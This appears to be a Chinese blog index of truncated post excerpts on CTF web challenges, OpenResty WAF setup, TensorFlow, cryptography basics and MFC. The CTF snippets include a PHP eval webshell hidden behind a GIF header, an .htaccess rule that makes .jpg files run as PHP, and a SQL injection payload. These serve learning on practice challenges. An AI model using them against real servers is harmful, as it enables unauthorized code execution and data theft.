1. [GXYCTF2019]BabyUpload   这道题和前面的一样，后缀检查会把带ph的给截胡，后缀换成jpg   直接用  GIF89a<script language="php">eval($_POST["a"]); </script>    在上传一个配置文件 .htaccess   内容  AddType application/x-httpd-php .jpg ，将jpg文件按照php文件解析   webshell工具链接即可         2.[BUUCTF 2018]...

17.[ACTF2020 新生赛]Upload   这一题和上一篇的极客大挑战的upload差不多，同样的脚本拿去上传也可以上传成功，更人性化的是把目录都给出来了    18.[极客大挑战 2019]BabySQL   SQL注入绕过方法汇总，很棒：https://blog.csdn.net/huanghelouzi/article/details/82995313   payload：?username=1' order by 3 %23&password=1   order 在这里报错显示为der，这里对输入的字符串做了过滤，要么是屏蔽了or等字段，要么是用replace函数将特殊...

1. [HCTF 2018] WarmUp   查看页面元素，发现source.php     是页面源码，其中发现了hint.php文件，访问有：   flag not here, and flag in ffffllllaaaagggg     这里要做的是绕过这些检查，主要在checkFile函数检查     这里截取？前的字符串，检查是否在白名单，这个页面本身source.php八成也在白名单上   构造payload：        2. [极客大挑战 2019]EasySQL   任意账户密码登陆一下         单引号闭合报错     测试字段个数, 三个字段     联合注...

openresty目录结构与介绍 openresty文件夹 其中nginx是最经常修改配置的文件夹 nginx文件夹 logs文件夹: 存放日志文件：error.log, access.log, nginx.pidsbin文件夹：存放nginx启动程序，一般先添加pathconf文件夹：存放nginx配置文件，例如nginx.conf等，我们添加的waf文件也放在了这里html文件夹：存放nginx服务的网页程序，index.html等 conf文件夹 nginx.conf为nginx的启动默认配置文件，启动时可选择更改waf文件夹：存放waf程序 waf文件夹：（此waf来源GitHub，也...

新的centos虚拟机        1. 安装openresty   wget https://openresty.org/package/centos/openresty.repo sudo mv openresty.repo /etc/yum.repos.d/ sudo yum check-update sudo yum install -y openresty sudo yum install -y openresty-resty 安装开发库   yum install pcre-devel op...

OpenResty官网：http://openresty.org/cn/download.html      一步一步安装完成        安装开发库，记得使用root用户        构建openResty     进入提取目录输入  ./configure     编译，注意需要获取root权限        创建工作目录                在log/目录下创建error.log空白文件，另外两个文件为系统生成，暂不管      启动nginx服务，添加PATH        然后，我们以这种方式使用配置文件启动nginx服务器：  nginx -p `pwd`/...

https://www.cnblogs.com/zangfans/p/8848279.html

无wp寸步难行   原链：https://blog.csdn.net/hxhxhxhxx/article/details/107900247   攻防世界web进阶区unfinish详解    题目    详解    题目     详解   我们使用御剑，扫描一波    我们进入注册页面查看，发现这个，有注册的话猜一下二次注入（这里注入，然后去页面看结果）    我们先拿AWVS试试，  哦~我的上帝，它存在注入 我们试试，burp的fuzz看看他过滤了什么  还是过滤了蛮多的 这些是都没过滤的    既然知道了他是sql注入 那么我们为啥不用sqlmap呢 我们使用sqlmap，发现只能知道...

八股法构建神经网络Sequential import tensorflow as tf mnist = tf.keras.datasets.mnist (x_train, y_train), (x_test, y_test) = mnist.load_data() x_train, x_test = x_train / 255.0, x_test / 255.0 model = tf.keras.models.Sequential([ tf.keras.layers.Flatten(), tf.keras.layers.Dense(128, activation='relu'), tf.ker...

使用Sequential方法训练鸢尾花模型 import tensorflow as tf from sklearn import datasets import numpy as np import os # 屏蔽警告 os.environ['TF_CPP_MIN_LOG_LEVEL']='2' # 训练集输入特征 x_train = datasets.load_iris().data # 训练集的标签 y_train = datasets.load_iris().target # 数据集的乱序 np.random.seed(116) np.random.shuffle(x_train) n...

数学模型   对数线性回归：   lny = wx+b; y=ewx+b Y = wx+b; g(y) =wx+b;   y=h(wx+b) = g-1(wx+b), g(.)作为联系函数      高维模型   Y=g-1(WTX) 【 其中 W = (W0+W1+……+Wm)T, X = (X0+X1+……+Xm)T, X0 = 1 】   sigmoid函数   y = g-1(z) = 1/(1+e-(wx+b))   sigmoid多元模型   y = 1/(1+e-(WTX)) 【 其中 W = (W0+W1+……+Wm)T, X = (X0+X1+……+Xm)T, X0 = 1 ...

密码攻击概述 唯密文攻击： ---攻击者掌握: 加密算法，截获的部分密文 已知明文攻击： --攻击者掌握：加密算法，截获的部分密文，一个或多个明文密文对 选择明文攻击： ---攻击者掌握：加密算法，截获的部分密文，自己选择的明文消息以及密钥产生的相应密文 选择密文攻击： ---攻击者掌握：加密算法，截获的部分密文，自己选择的密文消息以及相应的被解密明文 古典密码 单表代换密码 凯撒密码 c=E3(m)m+3 (mod 26) 0<=m<=25m=D3(c)m-3 (mod 26) 0<=c<=25【其中3为加密解密的密钥，进行循环移位】 移位变换 c=Ek(m)m+k ...

转自：https://blog.csdn.net/wang18323834864/article/details/78621633   1. 选择菜单项File->New->Project，弹出“New Project”对话框。    2.左侧面板中Installed Templated的Visual C++下选择MFC，中间窗口中选择MFC Application，然后在下面的Name编辑框中键入工程名称，本例取名“Addition”，在Location编辑框中设置工程的保存路径。点“OK”。     3.点“Next”到“Application Type”对...

https://blog.csdn.net/weixin_44790046/article/details/103016154?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control